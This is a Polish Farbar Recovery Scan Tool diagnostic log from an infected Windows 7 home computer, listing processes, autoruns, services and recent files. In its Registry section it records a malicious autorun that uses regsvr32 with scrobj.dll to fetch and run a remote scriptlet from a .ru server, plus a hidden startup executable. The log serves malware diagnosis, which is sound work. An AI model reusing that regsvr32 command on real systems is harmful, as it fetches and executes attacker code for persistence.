Rezultaty skanowania Farbar Recovery Scan Tool (FRST) (x86) Wersja: 27-11-2017
Uruchomiony przez User (administrator)  USER-KOMPUTER (28-11-2017 19:01:24)
Uruchomiony z C:\Users\User\Desktop
Załadowane profile: User (Dostępne profile: User)
Platform: Microsoft Windows 7 Home Premium  Service Pack 1 (X86) Język: Polski (Polska)
Internet Explorer Wersja 11 (Domyślna przeglądarka: FF)
Tryb startu: Normal
Instrukcja obsługi Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Procesy (filtrowane) =================

(Załączenie wejścia w fixlist spowoduje zamknięcie procesu. Powiązany plik nie zostanie przeniesiony.)

(IDT, Inc.) C:\Program Files\IDT\WDM\stacsv.exe
(Andrea Electronics Corporation) C:\Program Files\IDT\WDM\AEstSrv.exe
(CHENGDU YIWO Tech Development Co., Ltd) C:\Program Files\EaseUS\Todo Backup\bin\Agent.exe
(ESET) C:\Program Files\ESET\ESET Smart Security\ekrn.exe
(IDT, Inc.) C:\Program Files\IDT\WDM\sttray.exe
(TeamViewer GmbH) C:\Program Files\TeamViewer\TeamViewer_Service.exe
(Dell Inc.) C:\Program Files\Dell\QuickSet\quickset.exe
() C:\Program Files\EaseUS\Todo Backup\bin\TodoBackupService.exe
(Alps Electric Co., Ltd.) C:\Program Files\DellTPad\Apoint.exe
(Intel Corporation) C:\Windows\System32\igfxtray.exe
(Intel Corporation) C:\Windows\System32\hkcmd.exe
(Intel Corporation) C:\Windows\System32\igfxpers.exe
(ESET) C:\Program Files\ESET\ESET Smart Security\egui.exe
(Alps Electric Co., Ltd.) C:\Program Files\DellTPad\ApMsgFwd.exe
(SEIKO EPSON CORPORATION) C:\Windows\System32\spool\drivers\w32x86\3\E_FATILEE.EXE
(Alps Electric Co., Ltd.) C:\Program Files\DellTPad\ApntEx.exe
(Alps Electric Co., Ltd.) C:\Program Files\DellTPad\hidfind.exe
(Skype Technologies S.A.) C:\Program Files\Skype\Phone\Skype.exe
(Mozilla Corporation) C:\Program Files\Mozilla Firefox\firefox.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\vds.exe
(TeamViewer GmbH) C:\Program Files\TeamViewer\TeamViewer.exe
(TeamViewer GmbH) C:\Program Files\TeamViewer\tv_w32.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Management Engine Components\UNS\UNS.exe
(Opera Software) C:\Program Files\Opera\49.0.2725.47\opera.exe
(Opera Software) C:\Program Files\Opera\49.0.2725.47\opera_crashreporter.exe
(Opera Software) C:\Program Files\Opera\49.0.2725.47\opera.exe
(Opera Software) C:\Program Files\Opera\49.0.2725.47\opera.exe
(Opera Software) C:\Program Files\Opera\49.0.2725.47\opera.exe
(Opera Software) C:\Program Files\Opera\49.0.2725.47\opera.exe
(Opera Software) C:\Program Files\Opera\49.0.2725.47\opera.exe
(Opera Software) C:\Program Files\Opera\49.0.2725.47\opera.exe
(TeamViewer GmbH) C:\Program Files\TeamViewer\TeamViewer_Desktop.exe

==================== Rejestr (filtrowane) ===========================

(Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci. Powiązany plik nie zostanie przeniesiony.)

HKLM\...\Run: [SysTrayApp] => C:\Program Files\IDT\WDM\sttray.exe [1138783 2011-05-27] (IDT, Inc.)
HKLM\...\Run: [QuickSet] => C:\Program Files\Dell\QuickSet\QuickSet.exe [3405168 2011-03-24] (Dell Inc.)
HKLM\...\Run: [Apoint] => C:\Program Files\DellTPad\Apoint.exe [501104 2011-03-29] (Alps Electric Co., Ltd.)
HKLM\...\Run: [egui] => C:\Program Files\ESET\ESET Smart Security\egui.exe [2145000 2010-04-07] (ESET)
HKLM\...\Run: [SunJavaUpdateSched] => C:\Program Files\Common Files\Java\Java Update\jusched.exe [598552 2016-06-22] (Oracle Corporation)
HKLM\...\Run: [Adobe Reader Speed Launcher] => C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe [37296 2012-01-03] (Adobe Systems Incorporated)
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [843712 2012-01-02] (Adobe Systems Incorporated)
HKU\S-1-5-21-1293939364-4137197343-2779268670-1000\...\Run: [EPLTarget\P0000000000000000] => C:\Windows\system32\spool\DRIVERS\W32X86\3\E_FATILEE.EXE [260160 2013-04-26] (SEIKO EPSON CORPORATION)
HKU\S-1-5-21-1293939364-4137197343-2779268670-1000\...\Run: [Skype] => C:\Program Files\Skype\Phone\Skype.exe [27832264 2017-10-10] (Skype Technologies S.A.)
HKU\S-1-5-21-1293939364-4137197343-2779268670-1000\...\Run: [COM+] => regsvr32 /s /n /u /i:hxxp://server2.39slxu3bw.ru/restore.xml scrobj.dll <==== UWAGA
Startup: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u.lnk [2017-10-02]
ShortcutTarget: u.lnk -> C:\Users\User\AppData\Roaming\eeYgAJnQex.exe ()

==================== Internet (filtrowane) ====================

(Załączenie wejścia w fixlist, w przypadku gdy jest to obiekt rejestru, spowoduje usunięcie go z rejestru lub przywrócenie jego domyślnej postaci.)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.1 192.168.1.1
Tcpip\..\Interfaces\{FAE17F39-81B9-46FF-8787-9295E46EE99F}: [DhcpNameServer] 192.168.1.1 192.168.1.1

Internet Explorer:
==================
HKU\S-1-5-21-1293939364-4137197343-2779268670-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = hxxp://www.msn.com/pl-pl/?ocid=iehp
BHO: Adobe PDF Link Helper -> {18DF081C-E8AD-4283-A596-FA578C2EBDC3} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll [2012-01-03] (Adobe Systems Incorporated)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_101\bin\ssv.dll [2016-10-01] (Oracle Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_101\bin\jp2ssv.dll [2016-10-01] (Oracle Corporation)

FireFox:
========
FF DefaultProfile: dat3n56j.default
FF ProfilePath: C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\dat3n56j.default [2017-11-28]
FF Extension: (Adblock Plus) - C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\dat3n56j.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2017-11-11]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET Smart Security\Mozilla Thunderbird
FF Extension: (ESET Smart Security Extension) - C:\Program Files\ESET\ESET Smart Security\Mozilla Thunderbird [2015-10-11] [Przestarzałe] [Brak podpisu cyfrowego]
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_27_0_0_187.dll [2017-11-18] ()
FF Plugin: @adobe.com/ShockwavePlayer -> C:\Windows\system32\Adobe\Director\np32dsw_1225195.dll [2016-09-20] (Adobe Systems, Inc.)
FF Plugin: @google.com/npPicasa3,version=3.0.0 -> C:\Program Files\Google\Picasa3\npPicasa3.dll [2015-10-09] (Google, Inc.)
FF Plugin: @java.com/DTPlugin,version=11.101.2 -> C:\Program Files\Java\jre1.8.0_101\bin\dtplugin\npDeployJava1.dll [2016-10-01] (Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=11.101.2 -> C:\Program Files\Java\jre1.8.0_101\bin\plugin2\npjp2.dll [2016-10-01] (Oracle Corporation)
FF Plugin: @microsoft.com/GENUINE -> disabled [Brak pliku]
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 9.0\Reader\AIR\nppdf32.dll [2012-01-03] (Adobe Systems Inc.)

==================== Usługi (filtrowane) ====================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 EaseUS Agent; C:\Program Files\EaseUS\Todo Backup\bin\Agent.exe [36904 2015-08-01] (CHENGDU YIWO Tech Development Co., Ltd) [Brak podpisu cyfrowego]
S3 EhttpSrv; C:\Program Files\ESET\ESET Smart Security\EHttpSrv.exe [33560 2010-04-07] (ESET)
R2 ekrn; C:\Program Files\ESET\ESET Smart Security\ekrn.exe [810120 2010-04-07] (ESET)
S3 Lenovo EasyPlus Hotspot; C:\Program Files\Common Files\LENOVO\easyplussdk\bin\EPHotspot.exe [509424 2015-06-08] (Lenovo)
R2 STacSV; C:\Program Files\IDT\WDM\STacSV.exe [282709 2011-05-27] (IDT, Inc.)
R2 TeamViewer; C:\Program Files\TeamViewer\TeamViewer_Service.exe [5702416 2015-09-11] (TeamViewer GmbH)
S3 uSHAREitSvc; C:\Program Files\SHAREit Technologies\SHAREit\SHAREit.Service.exe [33224 2017-01-20] (SHAREit Technologies Co.Ltd)
R2 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2015-04-14] (Microsoft Corporation)

===================== Sterowniki (filtrowane) ======================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 eamonm; C:\Windows\System32\DRIVERS\eamonm.sys [133512 2010-04-07] (ESET)
R1 ehdrv; C:\Windows\System32\DRIVERS\ehdrv.sys [114984 2010-04-07] (ESET)
R2 epfw; C:\Windows\System32\DRIVERS\epfw.sys [134488 2010-04-07] (ESET)
R3 Epfwndis; C:\Windows\System32\DRIVERS\Epfwndis.sys [32584 2010-04-07] (ESET)
R2 epfwwfp; C:\Windows\System32\DRIVERS\epfwwfp.sys [41312 2010-04-07] (ESET)
R0 EUBAKUP; C:\Windows\System32\drivers\eubakup.sys [51752 2014-12-14] (CHENGDU YIWO Tech Development Co., Ltd) [Brak podpisu cyfrowego]
R0 EUBKMON; C:\Windows\System32\drivers\EUBKMON.sys [41512 2014-12-14] () [Brak podpisu cyfrowego]
R1 EUDSKACS; C:\Windows\system32\drivers\eudskacs.sys [15912 2014-12-14] (CHENGDU YIWO Tech Development Co., Ltd) [Brak podpisu cyfrowego]
R1 EUFDDISK; C:\Windows\system32\drivers\EuFdDisk.sys [189992 2014-12-14] (CHENGDU YIWO Tech Development Co., Ltd) [Brak podpisu cyfrowego]
S3 PortTalk; C:\Windows\System32\Drivers\PortTalk.sys [3567 2002-01-12] (Beyond Logic hxxp://www.beyondlogic.org) [Brak podpisu cyfrowego]
R3 teamviewervpn; C:\Windows\System32\DRIVERS\teamviewervpn.sys [25088 2015-08-18] (TeamViewer GmbH)

==================== NetSvcs (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)


==================== Jeden miesiąc - utworzone pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2017-11-28 19:01 - 2017-11-28 19:02 - 000010010 _____ C:\Users\User\Desktop\FRST.txt
2017-11-28 19:01 - 2017-11-28 19:01 - 000000000 ____D C:\FRST
2017-11-28 18:58 - 2017-11-28 18:58 - 001752064 _____ (Farbar) C:\Users\User\Desktop\FRST.exe
2017-11-24 20:50 - 2017-11-24 20:50 - 000061440 _____ C:\Users\User\Downloads\ipko_acc_data_20171124_205028.pdf
2017-11-22 18:40 - 2017-11-16 01:16 - 733648896 _____ C:\Users\User\Desktop\Wciaz.Ja.Kocham.avi
2017-11-22 18:32 - 2017-11-22 18:32 - 000000000 ____D C:\Users\User\Desktop\nutki
2017-11-20 19:12 - 2017-11-20 19:12 - 000000000 ____D C:\Users\User\Desktop\spotkanie klasowe
2017-11-20 08:21 - 2017-11-20 08:21 - 001266032 _____ (Opera Software) C:\Users\User\Downloads\OperaSetup.exe
2017-11-17 08:33 - 2017-11-17 08:34 - 000000000 ____D C:\Users\User\Desktop\do tłumacz
2017-11-11 10:07 - 2017-11-11 10:07 - 000005440 _____ C:\Users\User\Downloads\O01_Faktura_indywidualna_000-022-7835-0933_17_11_F011_E.pdf.xml.sig
2017-11-06 13:37 - 2017-11-06 13:37 - 000047421 _____ C:\Users\User\Downloads\TA_PdfFileTitle_20171106_133702.pdf

==================== Jeden miesiąc - zmodyfikowane pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2017-11-28 19:00 - 2015-10-11 10:25 - 000000000 ____D C:\Users\User\AppData\Roaming\Skype
2017-11-28 18:59 - 2017-05-17 07:23 - 000000000 ____D C:\Users\User\AppData\LocalLow\Mozilla
2017-11-28 18:58 - 2016-11-29 15:58 - 000000917 _____ C:\Windows\Tasks\EPSON XP-412 413 415 Series Update {EC2AD361-B4E8-484B-BAFD-E2CF1D54C2E6}.job
2017-11-28 18:58 - 2016-11-29 15:58 - 000000731 _____ C:\Windows\Tasks\EPSON XP-412 413 415 Series Invitation {EC2AD361-B4E8-484B-BAFD-E2CF1D54C2E6}.job
2017-11-28 18:00 - 2011-04-12 06:08 - 000739932 _____ C:\Windows\system32\perfh015.dat
2017-11-28 18:00 - 2011-04-12 06:08 - 000155474 _____ C:\Windows\system32\perfc015.dat
2017-11-28 18:00 - 2010-11-20 22:01 - 001668226 _____ C:\Windows\system32\PerfStringBackup.INI
2017-11-28 18:00 - 2009-07-14 03:37 - 000000000 ____D C:\Windows\inf
2017-11-28 09:57 - 2009-07-14 05:53 - 000000006 ____H C:\Windows\Tasks\SA.DAT
2017-11-26 09:48 - 2015-10-11 09:59 - 000000000 ____D C:\Windows\system32\Macromed
2017-11-24 08:04 - 2015-10-11 10:38 - 000000000 ____D C:\Program Files\Opera
2017-11-23 14:39 - 2017-04-28 08:45 - 000000000 ____D C:\Users\User\AppData\Local\CrashDumps
2017-11-23 14:32 - 2015-10-11 09:00 - 000000000 ____D C:\Program Files\Mozilla Maintenance Service
2017-11-23 09:41 - 2017-07-02 13:44 - 000000000 ____D C:\Program Files\Mozilla Firefox
2017-11-23 09:41 - 2015-10-11 09:00 - 000000000 ____D C:\Users\User\AppData\Roaming\Mozilla
2017-11-23 09:39 - 2015-10-11 10:25 - 000000000 ____D C:\ProgramData\Skype
2017-11-23 00:23 - 2015-10-14 09:25 - 000000000 ____D C:\Program Files\TeamViewer
2017-11-20 08:17 - 2015-10-11 09:59 - 000803328 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2017-11-20 08:17 - 2015-10-11 09:59 - 000144896 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2017-11-15 20:27 - 2015-10-11 10:47 - 000000000 ____D C:\Users\User\Desktop\ns
2017-11-13 21:53 - 2016-06-01 08:49 - 000000000 ____D C:\Users\User\Desktop\adam

==================== Pliki w katalogu głównym wybranych folderów =======

2017-10-02 06:50 - 2017-10-02 06:50 - 079553122 __RSH () C:\Users\User\AppData\Roaming\eeYgAJnQex.exe

Niektóre pliki w TEMP:
====================
2016-11-12 07:56 - 2015-04-14 19:55 - 000805376 _____ (Microsoft Corporation) C:\Users\User\AppData\Local\Temp\cdo2617651249.dll
2016-11-08 18:16 - 2015-04-14 19:55 - 000805376 _____ (Microsoft Corporation) C:\Users\User\AppData\Local\Temp\cdo3642605190.dll
2017-10-27 07:35 - 2015-04-14 19:55 - 000805376 _____ (Microsoft Corporation) C:\Users\User\AppData\Local\Temp\cdo862589790.dll
2017-10-24 17:36 - 2017-10-24 17:36 - 003319800 _____ () C:\Users\User\AppData\Local\Temp\EPCPSetup.exe
2016-11-20 10:16 - 2009-01-01 11:00 - 001066304 _____ (Nokia) C:\Users\User\AppData\Local\Temp\Install_Nokia_Ovi_Suite.exe
2016-11-20 10:16 - 2016-11-20 10:16 - 000001536 _____ () C:\Users\User\AppData\Local\Temp\NEventMessages.dll
2015-06-15 20:00 - 2015-06-15 20:00 - 000885232 _____ () C:\Users\User\AppData\Local\Temp\Setup.exe
2017-03-29 12:11 - 2017-03-29 12:11 - 014456872 _____ (Microsoft Corporation) C:\Users\User\AppData\Local\Temp\vc_redist.x86.exe

==================== Bamital & volsnap ======================

(Brak automatycznej naprawy dla plików które nie przeszły weryfikacji.)

C:\Windows\explorer.exe => Plik podpisany cyfrowo
C:\Windows\system32\winlogon.exe => Plik podpisany cyfrowo
C:\Windows\system32\wininit.exe => Plik podpisany cyfrowo
C:\Windows\system32\svchost.exe => Plik podpisany cyfrowo
C:\Windows\system32\services.exe => Plik podpisany cyfrowo
C:\Windows\system32\User32.dll => MD5 jest poprawne
C:\Windows\system32\userinit.exe => Plik podpisany cyfrowo
C:\Windows\system32\rpcss.dll => Plik podpisany cyfrowo
C:\Windows\system32\dnsapi.dll => Plik podpisany cyfrowo
C:\Windows\system32\Drivers\volsnap.sys => Plik podpisany cyfrowo

LastRegBack: 2017-11-23 15:03

==================== Koniec  FRST.txt ============================